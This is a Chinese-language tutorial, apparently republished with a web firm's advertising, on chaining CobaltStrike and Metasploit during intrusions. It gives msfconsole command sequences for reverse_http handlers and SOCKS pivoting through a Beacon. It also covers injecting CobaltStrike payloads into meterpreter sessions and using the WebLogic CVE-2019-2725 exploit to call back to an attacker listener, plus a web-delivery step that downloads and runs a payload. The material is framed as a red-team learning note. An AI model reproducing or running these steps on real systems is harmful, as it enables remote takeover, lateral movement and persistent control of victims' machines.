这期内容当中小编将会给大家带来有关CobaltStrike和Metasploit联动的示例分析，文章内容丰富且以专业的角度为大家分析和叙述，阅读完这篇文章希望大家可以有所收获。

成都创新互联公司于2013年开始，是专业互联网技术服务公司，拥有项目做网站、网站建设网站策划，项目实施与项目整合能力。我们以让每一个梦想脱颖而出为使命，1280元巴中做网站,已为上家服务,为巴中各地企业和个人服务,联系电话:18982081108

认准Ms08067

个人觉得CobaltStrike图形化的界面和丰富的功能，是一个超强的后渗透框架，尤其是方便管理横向移动过程中搜集到的各种数据和shell，但是对于漏洞利用、初始突破就显得十分乏力；另一边Metasploit作为漏洞利用框架，EXP及其顺滑，各种各样的模块，包含扫描、突破、拓展一条龙服务，但是对于多个shell的管理就显得有些乏力了（毕竟没有图形化界面，命令太多记不住）。于是，如何将两个框架有效的联动起来，就成为了今天想要学习的知识。

一、利用CS为MSF服务

利用CS的Beacon给MSF派生一个shell，执行后续的渗透任务：

在MSF中配置监听

# 配置监听器msf> use exploit/multi/handler# 选择payloadmsf> windows/meterpreter/reverse_httpmsf> set lhost IPmsf> set lport port# 启动监听器msf> set ExitOnSession Falsemsf> run -jz

在CS中建立一个外部监听器 Foreign HTTP （或 Foreign HTTPS ）

选择想要派生的目标，右键选择 spawn 功能，选择刚刚建立的监听器，即可在MSF中接收到回连。

利用CS为MSF提供转发或代理功能，进行后续的探测和漏洞利用:

利用Beacon建立 socks 代理：

在Beacon中输入 socks 监听端口，或者右键想要作为转发的目标，在pivoting中选择 SOCKS Server ，配置监听端口后点击
launch 激活。

在view -> Proxy Pivots 中可以看到建立的转发器，点击Tunnel即可获得MSF的转发命令

复制到MSF中，设置代理和载荷类型

以CVE-2019-2725为测试靶机

#设置代理 msf> setg Proxies socks4:127.0.0.1:36725
#配置payload，因为是隔离网段的主机，无法直接反连回MSF，所以需要换成被动连接的bind类型载荷
msf> set payload windows/meterpreter/bind_tcp
msf> run

二、MSF为CS服务

主要就是使用MSF框架的EXP获取CS的Beacon

获取了一个命令执行Shell：

这是最简单的情况，也是最常见的情况，并不是所有的EXP都能反弹一个Meterpreter会话回来。

在CS中利用Attacks -> Web Drive-by -> Scripted Web Delivery 来部署一个Payload分发站点：

配置监听器和URL路径，启动后会弹出相应的命令提示

复制命令后，直接在MSF 的shell中执行即可

命令执行后MSF的会话会卡住，可以直接kill掉，不影响CS会话

获取了一个Meterpreter会话：

获得meterpreter会话后，利用MSF注入功能，加载Cs的payload

# 将meterpreter会话挂起
meterpreter> background
# 进入payload_inject模块
msf> use exploit/windows/local/payload_inject
# 根据CS监听器类型选择对应的payload（http或者https）
msf> set payload windows/meterpreter/reverse_http
# 设置回连地址（CS监听器地址）
msf> set LHOST CS_IP
msf> set LPORT CS_PORT
# 指定要执行的meterpreter会话
msf> set session meterpreter会话ID
# 设置MSF不启动监听(不然的话msf会提示执行成功，但没有会话建立，同时CS也不会接收到会话)
msf> set disablepayloadhandler true 
msf> run

在过程中发现，这种方法只能向注入32位的payload，如果注入64位payload会导致目标进程崩溃，无法向64位程序中注入32位payload。崩溃原因是：APPCRASH（故障模块StackHash_af76），即使取得system权限、关闭UAC也还是不行。如果不设置pid，则会创建一个32位的notepad.exe进程，成功连接后记得及时迁移CS的会话进程。

直接反弹回CS:

在MSF漏洞利用时直接请求并加载CS的载荷，和第二种方法基本一致（测试漏洞为 CVE-2019-2725）

# 根据CS监听器类型选择对应的payload
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set payload windows/meterpreter/reverse_http 
# 设置回连地址（CS监听器地址） 
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set LHOST CS_IP
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set LPORT CS_PORT
# 指定要执行的meterpreter会话
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set session meterpreter会话ID
# 设置MSF不启动监听(不然的话msf会提示执行成功，但没有会话建立，同时CS也不会接收到会话)
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set disablepayloadhandler true

其实和第二种操作是一样，都是调用MSF的模块，配置payload的参数而已。漏洞利用成功后直接通过无窗口 powershell
返回CS会话，目标主机没有窗口弹出。测试的时候无法加载64位payload，可能是这个漏洞利用后会启动一个32位的cmd.exe来执行后续命令的原因。

三、

一开始打算是做一篇学习笔记，毕竟好记性不如烂笔头，看过的东西长时间不使用的话可能就忘记了，留下一个备忘录日后查询起来也方便。但是，做到后来就是一个爬坑的过程了，觉得自己好聪明，“这两个载荷名字好像，也没有文章提到，会不会也可联动呀？”，因为网上介绍的方法（中文文章）基本上都是和CS官方2016年发布的指南的是一样的，但是我看目前CS中Listener的种类不止
http和https ，

DNS smb tcp

MSF中也有诸如

windows/meterpreter/reverse_tcp_dns
windows/meterpreter/bind_named_pipe 
windows/meterpreter/reverse_tcp

这类看起来很像的payload模块，一番测试下来，也就只有http和https载荷可以接收到另一方回连的会话。果然还是是自己太年轻了，没有人提，确实就是因为它不是这样用的，毕竟两个框架一开始就是独立的，这样成熟的框架之间能有联通的方法已经给面子了，一开始就不应该奢求太多的。

上述就是小编为大家分享的CobaltStrike和Metasploit联动的示例分析了，如果刚好有类似的疑惑，不妨参照上述分析进行理解。如果想知道更多相关知识，欢迎关注创新互联行业资讯频道。

分享文章：CobaltStrike和Metasploit联动的示例分析
文章来源：http://lswzjz.com/article/ppegsi.html